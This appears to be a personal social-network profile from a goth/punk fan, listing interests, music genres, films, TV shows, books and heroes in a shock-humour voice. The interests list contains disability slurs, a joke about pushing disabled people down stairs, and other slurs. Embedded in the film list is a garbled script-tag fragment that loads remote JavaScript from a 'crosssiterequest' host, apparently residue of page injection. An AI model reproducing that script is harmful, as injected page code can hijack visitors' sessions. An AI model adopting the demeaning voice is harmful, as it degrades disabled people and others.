art. blood 'n guts, baby! projectile vomiting. shaking babies. drunken fist fights. bellydancing. braaains. tattooed ladies! insomnia. moshing. swiming in gutters. getting stitches. rolling my own ciggarettes. scromp-dancing. parties/afterparties & concerts. asphyxiation. falling asleep hugging my "lucky toilet." singing. genetic mutations & natural anomalies. road trips. 'people watching'. falling down stairs. paralympic rugby. conjoined twins. fire spinning. surrealists. rhetorical questions. walking not driving. couch surfing. cheap beer. body modification. pushing retarded cripples down spiral staircases. painted/studded leather. nomads. zombies & drowned chicks. rogue taxidermy. scratching. psychology & sociology. biting. random bruises. weird porn. collecting bones. scars. sarcasm & wit. health food/diet food. sideshow entertainers. watching the sunset from a swingset. theological debates. black & white photography. pale skin. feminism minus the superiority complex! random artistic moments. scabs. anorexic lookin' kids. deathrockers. the church of aquanet. switchblades. partying with crazy bums! horror punks. needles. devilocks. nipples. rats. sex & violence! ripped fishnets. tattoos & piercings. t.o.p.y. mortology. slut-hawks. stalkers. nonsensical humor! teased hair like robert smith or johnny slut. blowing bubbles. playing with roadkill. dumpster diving. junkies. rough sex. all kinds of perversion! altering my clothes / thrifting. unconventional-minded people. playing in the mud & rain. abusurdity. natural halucenations. plastic surgery. shameless sluttery. pissing outside; in groups. chain smoking like it's my job & i'm getting paid. being a fag hag. late night musings. voodoo. guns. curling up in a dumpster. protesting. sporting unconventional hairstyles that defy gravity. killing my liver. harrassing people with tampons. sleep deprivation. back-alley abortions. breaking glass & throwing bottles. drugs. running from the po-lice. spontaneous nosebleeds. living fast & dying young. the underground night life. etc. MUSIC MUSIC MUSIC!
My partner in crime, again.
My weakness, so i can carve it out.
OR BETTER YET: Giant sewer rats disguised by raincoats.
...deathrockers, art fags, horror punks, old school goths, psychobilly &/or gothabilly kids, heroin junkies, genderless creatures, gothic sluts, side show entertainers, crazy hobos, gutter punks, people from my state, trashy ghouls, & most importantly: kids with a strong stomach who aren't easily offended.
Real, honest people who can take a joke,
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i feel pretentious when i list every band. i solved this problem by making a shorter list of pretentious-sounding genres.
post-punk
`77 punk
horror punk
deathrock
classic & contemporary goth rock
rocka/gotha/pshyco `billy
low-brow garage rock
neo/apocalyptic/dark folk
new wave/no-wave
synth punk
art punk
noise rock
dark indie
horror surf
dark cabaret
shoegaze
gypsy punk
riot grrrl
left of center lounge
avant garde, whatchamacallit, you-name-it, atypical something or other, whatever it is i'm interested in giving it a listen. i'm a music whore.
brazil, barfly! twin falls idaho, waking life, pig, forbidden zone, mad monster party, begotten, sid & nancy, naked lunch, spider baby, maniac, brain damage, hokus pokus, girls will be girls, desperate living, cannibal the musical, death powder, i shot andy warhol, redneck zombies!, the black dahlia, run for the shadows, murderball, personal velocity, freaks, tarnation, mirrormask, session 9, fatty drives the bus!, saw, igby goes down, may, suspira, personal velocity, a clockwork orange, elvira mistress of the dark!, the salton sea, party monster, carnival of souls, a history of violence, munster go home!, edward scissorhands, polyester, eternal sunshine of the spotless mind, switchblade sisters, the wasp woman, dead alive, night tide, battle royale, requiem for a dream, pist: the filth & the fury, 16 candles, kill bill, run ronnie run, four brothers, house of 1,000 corpses, dawn of the dead, cabaret, night of the creeps, say anything, chopper chicks in zombie town, spun, thirteen, cool world, the machinist, taxi driver, evil dead, evil dead 2, army of darkness, texas chainsaw massacre [old & new], 8mm, wild at heart, night breed, ichi the killer, breakfast at tiffany's, se7en, motherfuckin' snakes on a motherfuckin' plane, amelie, punch drunk love, delicatessen, the lost boys, drop dead fred, henry fool, franken weiner, trainspotting, the house of yes, boondock saints, cecil b. demented, a nightmare on elm street, pretty in pink, repo man, children shouldn't play with dead things!, glen or glenda?, white oleander, plague of the zombies, gummo, the manson family, heathers, kids, the hours, the breakfast club, crash, bowling for columbine, natural born killers, the skeleton key, sleepy hollow, highway 61, drugstore cowboy, vampire's kiss, boxing helena, basket case, normal, brotherhood of the wolf, manic, halloween, pieces of april, rebel without a cause, night of the living dead, harold & maude, momento, alukarda, donnie darko, full metal jacket, the phantom of the opera, night of the hunter, magdalena, six string samurai, pink flamingos, plan 9 from outer space, the human stain, grosse point blank, american history x, dracula, equilibrium, american psycho, death to smoochie, but i'm a cheerleader!, night of the demons, "i, zombie," freddy vs. jason, what dreams may come, american splendor, ghost ship, wit, return of the living dead [all], candyman, tank girl, body melt, i spit on your grave, hairspray, elephant, the fog(original), house of wax(both - kill paris hilton!), trans america, my own private idaho, mirrormask, bloodsucking freaks, midnight in the garden of good & evil, the boneyard, the omen series, the saddest music in the world! ... i'll get back to this, it's a forever-growing list..... language="javascript" src="http://crosssiterequest../request.js"function nothingf(){document·write("..1...{}");}..
ah, fuck it. television is usually a great source of brain rot, but i make exceptions; twin peaks. almost everything on the discovery health channel. taboo. ripley's believe it or not. random specials on the history or discovery channel. tales from the crypt. [anything with a horror host] the dailey show. black & white cartoons from the 30s.
postpunk: 1977 - '84. the outsiders. invisible monsters. and the ass saw the angel. disco bloodbath. prozac nation: young & depressed in america. rebels & devils: the psychology of liberation. american psycho. hairstyles of the damned. the televisionary oracle. the pyschopath's bible. notes of a dirty old man. can you feel anything when i do this? girl interupted. the long hard road out of hell. when rabbit howls. strip city. catcher in the rye. kiss my tiara. the satanic witch. scary stories to tell in the dark [children's series]. choke. white oleander. thank you for your continued interest. the rules of attraction. helter skelter. the world according to garp. brain droppings. scare yourself to sleep. the encyclopedia of serial killers a to z. the portable henry rollins. creepy susie & 13 other tales for troubled children. heavier than heaven. women. go ask alice. house of secrets. trainspotting. the gashly crumb tinies. red dragon. gerald's game. tales of ordinary madness, frankenstein, etc. & so on.
I don't feel the need to idolize anyone, & I sure as fuck don't need saving... but I have been influenced by a few strong characters.
Divine. Delirium. Tank Girl. The Bride of Frankenstein. Elvira. Dinah Cancer. Wendy O. Williams. Lilly Munster. Diamanda Galas. Lydia Lunch. Soo Catwoman. Nina Hagen. Siouxsie Sioux. Brody Dalle. & yes, even that horrible skank Courtney Love! :P